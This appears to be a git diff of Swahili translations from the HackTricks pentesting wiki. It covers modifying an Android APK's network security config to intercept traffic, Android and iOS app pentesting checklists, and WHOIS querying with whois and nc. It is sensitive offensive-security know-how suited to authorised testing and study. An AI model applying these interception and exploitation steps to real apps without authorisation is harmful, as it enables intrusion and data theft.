* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
**Kikundi cha Usalama cha Kujitahidi**
**Kikundi cha Usalama cha Kujitahidi Kufanikiwa**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -44,7 +44,7 @@ Baada ya kuongeza:
![](../../.gitbook/assets/img11.png)
Sasa nenda kwenye saraka ya **res/xml** & umba/boresha faili iitwayo network\_security\_config.xml na yaliyomo yafuatayo:
Sasa nenda kwenye saraka ya **res/xml** & unda/boresha faili iitwayo network\_security\_config.xml na yaliyomo yafuatayo:
```markup
<network-security-config>
<base-config>
@ -61,13 +61,13 @@ Kisha hifadhi faili & rudi nyuma kutoka kwenye mafaili yote na jenga upya apk kw
![](../../.gitbook/assets/img12.png)
Hatimaye, unahitaji tu **kusaini programu mpya**. [Soma sehemu hii ya ukurasa wa Smali - Kudecompile/\[Kurekebisha\]/Kukusanya ili kujifunza jinsi ya kuaisini](smali-changes.md#sing-the-new-apk).
Mwishowe, unahitaji tu **kusaini programu mpya**. [Soma sehemu hii ya ukurasa wa Smali - Kudecompile/\[Kubadilisha\]/Kukusanya ili kujifunza jinsi ya kuaisaini](smali-changes.md#sing-the-new-apk).
<details>
**Kikundi cha Usalama cha Kujitahidi Sana**
**Kikundi cha Usalama cha Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -77,8 +77,8 @@ Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -2,19 +2,19 @@
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionyeshwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
**Kikundi cha Usalama cha Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -38,57 +38,38 @@
### [Uchambuzi Stahiki](android-app-pentesting/#static-analysis)
* [ ] Angalia matumizi ya [ufichaji](android-checklist.md#some-obfuscation-deobfuscation-information), angalia kama simu imefungwa mizizi, kama inatumika emulator na uchunguzi wa kuzuia uharibifu. [Soma hii kwa maelezo zaidi](android-app-pentesting/#other-checks).
* [ ] Programu nyeti (kama programu za benki) inapaswa kuangalia kama simu imefungwa mizizi na inapaswa kuchukua hatua kwa kuzingatia hilo.
* [ ] Tafuta [maneno ya kuvutia](android-app-pentesting/#looking-for-interesting-info) (nywila, URL, API, encryption, backdoors, tokens, Bluetooth uuids...).
* [ ] Angalia matumizi ya [ufichaji](android-checklist.md#some-obfuscation-deobfuscation-information), angalia kama simu ya mkononi imefungwa, kama inatumika emulator na uchunguzi wa kuzuia uharibifu. [Soma hii kwa maelezo zaidi](android-app-pentesting/#other-checks).
* [ ] Programu zenye hisia (kama programu za benki) zinapaswa kuangalia kama simu imefungwa na kuchukua hatua kwa kuzingatia hilo.
* [ ] Tafuta [maneno ya kuvutia](android-app-pentesting/#looking-for-interesting-info) (nywila, URL, API, kifaa cha kufichamisha, alama za Bluetooth...).
* [ ] Tahadhari maalum kwa [firebase ](android-app-pentesting/#firebase)APIs.
* [ ] [Soma maelezo:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
* [ ] Angalia kama programu iko katika hali ya kurekebisha na jaribu "kuitumia"
* [ ] Angalia kama APK inaruhusu nakala za akiba
* [ ] [Soma hati ya maombi:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
* [ ] Angalia kama programu iko katika hali ya kurekebisha na jaribu "kuidukua"
* [ ] Angalia kama APK inaruhusu nakala rudufu
* [ ] Shughuli Zilizowekwa Wazi
* [ ] Watoa Huduma za Yaliyomo
* [ ] Huduma Zilizofichuliwa
* [ ] Wapokeaji wa Matangazo
* [ ] URL Schemes
* [ ] Je, programu ina[hifadhi data bila usalama ndani au nje](android-app-pentesting/#insecure-data-storage)?
* [ ] Je, kuna [nywila iliyoingizwa au iliyohifadhiwa kwenye diski](android-app-pentesting/#poorkeymanagementprocesses)? Je, programu inatumia [algorithms za crypto zisizo salama](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
* [ ] Maktaba zote zimekompiliwa kwa kutumia bendera ya PIE?
* [ ] Usisahau kuwa kuna[ Wachambuzi wa Android wa Stahiki](android-app-pentesting/#automatic-analysis) ambao wanaweza kukusaidia sana wakati huu.
* [ ] Je, kuna [nywila iliyoingizwa au iliyohifadhiwa kwenye diski](android-app-pentesting/#poorkeymanagementprocesses)? Je, programu inatumia [algorithms za kufichamisha zisizo salama](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
* [ ] Maktaba zote zimekusanywa kwa kutumia bendera ya PIE?
* [ ] Usisahau kuwa kuna[Wachambuzi wa Android wa Stahiki](android-app-pentesting/#automatic-analysis) ambao wanaweza kukusaidia sana wakati huu.
### [Uchambuzi wa Kudumu](android-app-pentesting/#dynamic-analysis)
* [ ] Andaa mazingira ([mtandaoni](android-app-pentesting/#online-dynamic-analysis), [VM ya ndani au ya kimwili](android-app-pentesting/#local-dynamic-analysis))
* [ ] Je, kuna [ufichuaji usio wa makusudi wa data](android-app-pentesting/#unintended-data-leakage) (kuingiza, kunakili/kubandika, machapisho ya kuharibika)?
* [ ] [Taarifa za siri zinahifadhiwa kwenye mabandiko ya SQLite](android-app-pentesting/#sqlite-dbs)?
* [ ] [Shughuli Zilizowekwa Wazi zinazoweza kuchexploit](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
* [ ] [Watoa Huduma Zilizoweza kuchexploit](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
* [ ] [Huduma Zilizofichuliwa Zilizoweza kuchexploit](android-app-pentesting/#exploiting-services)?
* [ ] [Wapokeaji wa Matangazo Zilizoweza kuchexploit](android-app-pentesting/#exploiting-broadcast-receivers)?
* [ ] Je, programu inatuma taarifa kwa wazi/ikitumia algorithms dhaifu](android-app-pentesting/#insufficient-transport-layer-protection)? je, ni rahisi kufanya MitM?
* [ ] [Kagua trafiki ya HTTP/HTTPS](android-app-pentesting/#inspecting-http-traffic)
* [ ] Hii ni muhimu sana, kwa sababu ukichukua trafiki ya HTTP unaweza kutafuta kasoro za kawaida za Wavuti (Hacktricks ina habari nyingi kuhusu kasoro za Wavuti).
* [ ] Angalia kwa uwezekano wa [Muingiliano wa Upande wa Mteja wa Android](android-app-pentesting/#android-client-side-injections-and-others) (labda uchambuzi wa msimbo wa stahiki utasaidia hapa)
* [ ] [Frida](android-app-pentesting/#frida): Tu Frida, itumie kupata data ya kuvutia ya kudumu kutoka kwenye programu (labda nywila fulani...)
* [ ] Je, kuna [ufichuaji usio wa makusudi wa data](android-app-pentesting/#unintended-data-leakage) (kuingiza, kunakili/kubandika, magogo ya kushindwa)?
* [ ] [Taarifa za siri zinahifadhiwa kwenye mabadiliko ya SQLite](android-app-pentesting/#sqlite-dbs)?
* [ ] [Shughuli zilizowekwa wazi zinazoweza kutumiwa](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
* [ ] [Watoa Huduma zinazoweza kutumiwa](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
* [ ] [Huduma zilizofichuliwa zinazoweza kutumiwa](android-app-pentesting/#exploiting-services)?
* [ ] [Wapokeaji wa Matangazo wanaoweza kutumiwa](android-app-pentesting/#exploiting-broadcast-receivers)?
* [ ] Je, programu inatuma habari kwa wazi/ikitumia algorithms dhaifu](android-app-pentesting/#insufficient-transport-layer-protection)? je, ni rahisi kufanya MitM?
* [ ] [Angalia trafiki ya HTTP/HTTPS](android-app-pentesting/#inspecting-http-traffic)
* [ ] Hii ni muhimu sana, kwa sababu ukichukua trafiki ya HTTP unaweza kutafuta udhaifu wa kawaida wa Wavuti (Hacktricks ina habari nyingi kuhusu udhaifu wa Wavuti).
* [ ] Angalia uwezekano wa [Majumuisho ya Upande wa Mteja wa Android](android-app-pentesting/#android-client-side-injections-and-others) (labda uchambuzi wa msimbo wa stahiki utasaidia hapa)
* [ ] [Frida](android-app-pentesting/#frida): Tu Frida, itumie kupata data ya kuvutia ya kudumu kutoka kwa programu (labda nywila fulani...)
### Baadhi ya habari za ufichaji/Deobfuscation
* [ ] [Soma hapa](android-app-pentesting/#obfuscating-deobfuscating-code)
**Kikundi cha Usalama cha Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionyeshwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa [repo ya hacktricks](https://github.com/carlospolop/hacktricks) and [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -24,7 +24,7 @@ Njia nyingine za kusaidia HackTricks:
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -47,21 +47,21 @@ Njia nyingine za kusaidia HackTricks:
* [ ] [**Vidakuzi vya Binary**](ios-pentesting/#cookies) vinaweza kuhifadhi habari nyeti
* [ ] [**Data ya Cache**](ios-pentesting/#cache) inaweza kuhifadhi habari nyeti
* [ ] [**Snapshots za Kiotomatiki**](ios-pentesting/#snapshots) zinaweza kuhifadhi habari nyeti za kuona
* [ ] [**Keychain**](ios-pentesting/#keychain) kawaida hutumika kuhifadhi habari nyeti ambayo inaweza kuachwa wakati wa kuuza simu.
* [ ] [**Keychain**](ios-pentesting/#keychain) kawaida hutumiwa kuhifadhi habari nyeti ambayo inaweza kuachwa wakati wa kuuza simu.
* [ ] Kwa muhtasari, tu **angalia habari nyeti iliyohifadhiwa na programu kwenye mfumo wa faili**
### Vibodi
* [ ] Je! Programu inaruhusu kutumia [**vibodi za desturi**](ios-pentesting/#custom-keyboards-keyboard-cache)?
* [ ] Angalia ikiwa habari nyeti imesave katika [**faili za vibodi**](ios-pentesting/#custom-keyboards-keyboard-cache)
* [ ] Je! programu inaruhusu kutumia [**vibodi za desturi**](ios-pentesting/#custom-keyboards-keyboard-cache)?
* [ ] Angalia ikiwa habari nyeti imehifadhiwa kwenye [**faili za vibodi**](ios-pentesting/#custom-keyboards-keyboard-cache)
### **Vichapishi**
### **Kumbukumbu**
* [ ] Angalia ikiwa [**habari nyeti inalogwa**](ios-pentesting/#logs)
### Nakala za Akiba
* [ ] [**Nakala za Akiba**](ios-pentesting/#backups) zinaweza kutumika kufikia habari nyeti iliyohifadhiwa kwenye mfumo wa faili (angalia hatua ya awali ya orodha hii)
* [ ] [**Nakala za Akiba**](ios-pentesting/#backups) zinaweza kutumika kwa **kupata habari nyeti** iliyohifadhiwa kwenye mfumo wa faili (angalia hatua ya awali ya orodha hii)
* [ ] Pia, [**nakala za akiba**](ios-pentesting/#backups) zinaweza kutumika kubadilisha baadhi ya mipangilio ya programu, kisha **kurejesha** nakala ya akiba kwenye simu, na kwa kuwa **mipangilio iliyobadilishwa** ina **pakia** baadhi ya (usalama) **kazi** inaweza **kipuuzwa**
### **Kumbukumbu za Programu**
@ -71,14 +71,14 @@ Njia nyingine za kusaidia HackTricks:
### **Ufichaji wa Kriptografia**
* [ ] Angalia ikiwa unaweza kupata [**nywila zilizotumiwa kwa kriptografia**](ios-pentesting/#broken-cryptography)
* [ ] Angalia matumizi ya [**algorithms zilizopitwa/zwafu**](ios-pentesting/#broken-cryptography) kutuma/kuhifadhi data nyeti
* [ ] [**Kufunga na kufuatilia kazi za kriptografia**](ios-pentesting/#broken-cryptography)
* [ ] Angalia matumizi ya [**algorithms zilizopitwa na wakati/dhaifu**](ios-pentesting/#broken-cryptography) kutuma/kuhifadhi data nyeti
* [ ] [**Kaa na fuatilia kazi za kriptografia**](ios-pentesting/#broken-cryptography)
### **Uthibitishaji wa Kienyeji**
* [ ] Ikiwa [**uthibitishaji wa kienyeji**](ios-pentesting/#local-authentication) unatumika katika programu, unapaswa kuangalia jinsi uthibitishaji unavyofanya kazi.
* [ ] Ikiwa [**uthibitishaji wa kienyeji**](ios-pentesting/#local-authentication) unatumika kwenye programu, unapaswa kuangalia jinsi uthibitishaji unavyofanya kazi.
* [ ] Ikiwa inatumia [**Itifaki ya Uthibitishaji wa Kienyeji**](ios-pentesting/#local-authentication-framework) inaweza kudukuliwa kwa urahisi
* [ ] Ikiwa inatumia [**kazi ambayo inaweza kudukuliwa kwa kudumu**](ios-pentesting/#local-authentication-using-keychain) unaweza kuunda skripti ya frida ya desturi
* [ ] Ikiwa inatumia [**kazi ambayo inaweza kudukuliwa kwa muda**](ios-pentesting/#local-authentication-using-keychain) unaweza kuunda script ya frida ya desturi
### Ufunuo wa Kazi Nyeti Kupitia IPC
@ -86,25 +86,25 @@ Njia nyingine za kusaidia HackTricks:
* [ ] Angalia ikiwa programu ina **kujiandikisha itifaki/mbinu**
* [ ] Angalia ikiwa programu ina **kujiandikisha kutumia** itifaki/mbinu yoyote
* [ ] Angalia ikiwa programu ina **tarajia kupokea aina yoyote ya habari nyeti** kutoka kwa mbinu ya desturi ambayo inaweza **kutekwa** na programu nyingine inayojiandikisha itifaki sawa
* [ ] Angalia ikiwa programu **haichunguzi na kusafisha** mwingiliano wa mtumiaji kupitia mbinu ya desturi na baadhi ya **udhaifu unaweza kutumiwa**
* [ ] Angalia ikiwa programu **haichunguzi na kusafisha** matokeo ya mtumiaji kupitia mbinu ya desturi na baadhi ya **udhaifu unaweza kutumiwa**
* [ ] Angalia ikiwa programu **inafunua hatua yoyote nyeti** inayoweza kuitwa kutoka mahali popote kupitia mbinu ya desturi
* [**Viungo vya Kina**](ios-pentesting/#universal-links)
* [ ] Angalia ikiwa programu ina **kujiandikisha itifaki/mbinu za kina**
* [**Viungo vya Kila Mahali**](ios-pentesting/#universal-links)
* [ ] Angalia ikiwa programu ina **kujiandikisha itifaki/mbinu ya kila mahali**
* [ ] Angalia faili ya `apple-app-site-association`
* [ ] Angalia ikiwa programu **haichunguzi na kusafisha** mwingiliano wa mtumiaji kupitia mbinu ya desturi na baadhi ya **udhaifu unaweza kutumiwa**
* [ ] Angalia ikiwa programu **haichunguzi na kusafisha** matokeo ya mtumiaji kupitia mbinu ya desturi na baadhi ya **udhaifu unaweza kutumiwa**
* [ ] Angalia ikiwa programu **inafunua hatua yoyote nyeti** inayoweza kuitwa kutoka mahali popote kupitia mbinu ya desturi
* [**Kushiriki Kazi ya UIActivity**](ios-pentesting/ios-uiactivity-sharing.md)
* [ ] Angalia ikiwa programu inaweza kupokea UIActivities na ikiwa inawezekana kutumia udhaifu wowote na shughuli iliyoundwa kwa umakini
* [**Kushiriki Kupitia UIActivity**](ios-pentesting/ios-uiactivity-sharing.md)
* [ ] Angalia ikiwa programu inaweza kupokea UIActivities na ikiwa ni rahisi kutumia udhaifu wowote na shughuli iliyoundwa kwa umakini
* [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)
* [ ] Angalia ikiwa programu ina **kuchapisha kitu chochote kwenye ubao wa kawaida**
* [ ] Angalia ikiwa programu ina **tumia data kutoka kwa ubao wa kawaida kwa kitu chochote**
* [ ] Fuatilia ubao wa kuchapisha kuona ikiwa kuna **data nyeti iliyochapishwa**
* [**Vipanuzi vya Programu**](ios-pentesting/ios-app-extensions.md)
* [ ] Je! Programu inatumia **kipanuzi chochote**?
* [ ] Angalia ikiwa programu ina **nakala chochote kwenye ubao wa kawaida**
* [ ] Angalia ikiwa programu ina **tumia data kutoka kwa ubao wa kawaida kwa chochote**
* [ ] Fuatilia ubao wa kubandika kuona ikiwa kuna **data nyeti inayokopiwa**
* [**Vifaa vya Programu**](ios-pentesting/ios-app-extensions.md)
* [ ] Je! Programu inatumia **nyongeza yoyote**?
* [**WebViews**](ios-pentesting/ios-webviews.md)
* [ ] Angalia aina gani ya webviews inatumika
* [ ] Angalia hali ya **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`**
* [ ] Angalia ikiwa webview inaweza **kufikia faili za ndani** kwa itifaki **file://** **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`)
* [ ] Angalia ikiwa webview inaweza **kufikia faili za ndani** kwa itifaki ya **file://** **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`)
* [ ] Angalia ikiwa Javascript inaweza kufikia **njia za Asili** (`JSContext`, `postMessage`)
### Mawasiliano ya Mtandao
@ -119,13 +119,13 @@ Njia nyingine za kusaidia HackTricks:
**Kikundi cha Usalama cha Kujitahidi**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
@ -133,14 +133,14 @@ Njia nyingine za kusaidia HackTricks:
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia kiotomatiki** mifumo ya kazi iliyowezeshwa na zana za jamii za **juu zaidi** duniani.\
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia kiotomatiki** mifumo ya kazi inayotumia zana za jamii za **juu zaidi** duniani.\
Pata Ufikiaji Leo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -1,6 +1,6 @@
<details>
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
@ -8,13 +8,13 @@ Njia nyingine za kusaidia HackTricks:
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
**Kikundi cha Usalama cha Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -22,7 +22,7 @@ Njia nyingine za kusaidia HackTricks:
# Taarifa Msingi
Itifaki ya **WHOIS** hutumika kama njia ya kawaida ya **kuuliza kuhusu wamiliki au wamiliki wa rasilimali mbalimbali za mtandao** kupitia maktaba maalum. Rasilimali hizi ni pamoja na majina ya kikoa, vikundi vya anwani za IP, na mifumo ya kiotomatiki, miongoni mwa zingine. Zaidi ya hayo, itifaki hii hutumika kupata wigo mpana wa taarifa.
Itifaki ya **WHOIS** hutumika kama njia ya kawaida ya **kuuliza kuhusu wamiliki au wamiliki wa rasilimali mbalimbali za mtandao** kupitia maktaba maalum. Rasilimali hizi ni pamoja na majina ya kikoa, vikundi vya anwani za IP, na mifumo ya kiotomatiki, miongoni mwa zingine. Zaidi ya hayo, itifaki hii hutumiwa kupata wigo mpana wa habari.
**Bandari ya chaguo:** 43
```
@ -36,7 +36,7 @@ Pata taarifa zote ambazo huduma ya whois ina kuhusu kikoa:
whois -h <HOST> -p <PORT> "domain.tld"
echo "domain.ltd" | nc -vn <HOST> <PORT>
```
Kumbuka kwamba mara nyingine unapouliza habari fulani kwa huduma ya WHOIS, **database** inayotumiwa inaonekana kwenye jibu:
Kumbuka kwamba mara nyingine unapouliza kwa habari fulani kwa huduma ya WHOIS, **database** inayotumiwa inaonekana kwenye jibu:
![](<../.gitbook/assets/image (147).png>)
@ -48,7 +48,7 @@ Pia, huduma ya WHOIS daima inahitaji kutumia **database** kuhifadhi na kutoa hab
**Kikundi cha Usalama cha Kujitahidi**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -80,7 +80,7 @@ Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.

View file

@ -8,7 +8,7 @@ Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
